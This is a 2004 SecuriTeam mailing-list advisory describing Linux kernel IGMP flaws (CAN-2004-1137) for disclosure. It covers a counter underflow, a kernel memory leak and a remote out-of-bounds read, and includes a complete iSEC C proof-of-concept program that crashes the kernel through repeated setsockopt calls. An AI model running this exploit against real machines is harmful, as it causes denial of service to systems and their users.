Date: 15 Dec 2004 16:45:13 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [UNIX] Linux Kernel IGMP Vulnerabilities
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Linux Kernel IGMP Vulnerabilities
------------------------------------------------------------------------
SUMMARY
Multiple locally as well as remotely exploitable bugs have been found in
the Linux IGMP networking module and the corresponding user API.
DETAILS
Vulnerable Systems:
* Linux kernel versions 2.4 up to and including 2.4.28
* Linux kernel versions 2.6 up to and including 2.6.9
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1137>
CAN-2004-1137
The IGMP (or Internet group management protocol) is today's standard for
delivering multicast functionality to Internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
subdivided into two logical parts:
* The IGMP/IP networking module responsible for network level operation
which is only compiled into the kernel if configured for multicasting
* The socket API delivering multicasting capabilities to user level
applications which is always available on Linux
The ip_mc_source() function that can be called through the user API (more
explicitly: 'IP_(UN)BLOCK_SOURCE', 'IP_ADD/DROP_SOURCE_MEMBERSHIP' as well
as 'MCAST_(UN)BLOCK_SOURCE' and 'MCAST_JOIN/LEAVE_SOURCE_GROUP' socket
'SOL_IP' level options) suffers from a serious kernel hang and kernel
memory overwrite problem.
IP_SF_SOCKLIST structure counter
It is possible to decrement the 'sl_count' counter of the 'ip_sf_socklist'
structure to be 0xffffffff (that is -1 as signed integer, see attached PoC
code) with the consequence that a repeated call to the above function will
start a kernel loop counting from 0 to UINT_MAX. This will cause a kernel
hang for minutes (depending on the machine speed).
Right after that the whole kernel memory following the kmalloc'ated buffer
will be shifted by 4 bytes causing an immediate machine reboot under
normal operating conditions. If properly exploited this will lead to
elevated privileges.
It is quite obvious that moving around all kernel memory following a
kmalloc'ated buffer is a bad idea. However if done very carefully this may
give a local attacker elevated privileges. This flaw is easier to exploit
on an SMP machine (where one thread can interrupt the copy loop before the
kernel gets completely destroyed).
On uniprocessor configurations the exploit-ability is questionable since
there is no other exit condition from the copy loop than a kernel oops if
we hit a non existing page. If an attacker manages to trick the kernel to
allocate the buffer just right before the end of kernel's physical memory
mapping and also manages to place for example a LDT just after that
buffer, exploitation will occur on a uniprocessor machine. Still, the
easiest exploitation for this bug is to crash the running kernel.
Kernel memory reading
Due to the above mentioned bug under certain conditions it is possible to
read a fairly significant amount of kernel memory through the
ip_mc_msfget() and ip_mc_gsfget() (user API) functions.
This issue is slightly related to the loff_t race discovered by iSEC in
August 2004. Please refer to:
<http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt>
http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt
igmp_marksources() function
The igmp_marksources() function from the network module is called in the
context of an IGMP group query received from the network and suffers from
an out of bound read access to kernel memory. It happens because the
received IGMP message's parameters are not validated properly. This flaw
is remotely exploitable on Linux machines with multicasting support if and
only if an application has bound a multicast socket.
This problem is a remote kernel vulnerability. There are several
conditions that must be meet for remote exploitation to occur:
* The kernel has been compiled with multicasting support and is
configured to process incoming IGMP packets. Moreover, an attacker must be
able to send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
vulnerable machine.
* An application running on the vulnerable machine with a bound multicast
socket with attached source filter. There are numerous applications using
multicasting like video conferencing or routing software, just to name
few. The attacker must also know the IGMP group used to perform the
attack.
By looking at these proc entries it is possible to determine if a system
is vulnerable to this bug:
/proc/net/igmp
/proc/net/mcfilter
If both exist and are non-empty, the running kernel is vulnerable.
Since the kernel does not validate the 'ih3->nsrcs' IGMP parameter, the
igmp_marksources() internal kernel function may access kernel memory
outside of the allocated socket buffer holding the IGMP message. Depending
on the relative position of the socket buffer in the kernel memory this
may lead to an immediate kernel crash.
Another consequence is that the kernel will spend most of the CPU time on
scanning useless kernel data right after the buffer if the 'nsrcs'
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it may stop to process other network
traffic. For an average machine only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.
Proof Of Concept
/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>
#define MCAST_INCLUDE 1
#define IP_MSFILTER 41
#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38
struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1];
};
struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};
void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}
int
main ()
{
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;
s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");
// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");
// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");
// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3");
// crash
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4");
getchar ();
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ihaquer@isec.pl.> Paul
Starzetz.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.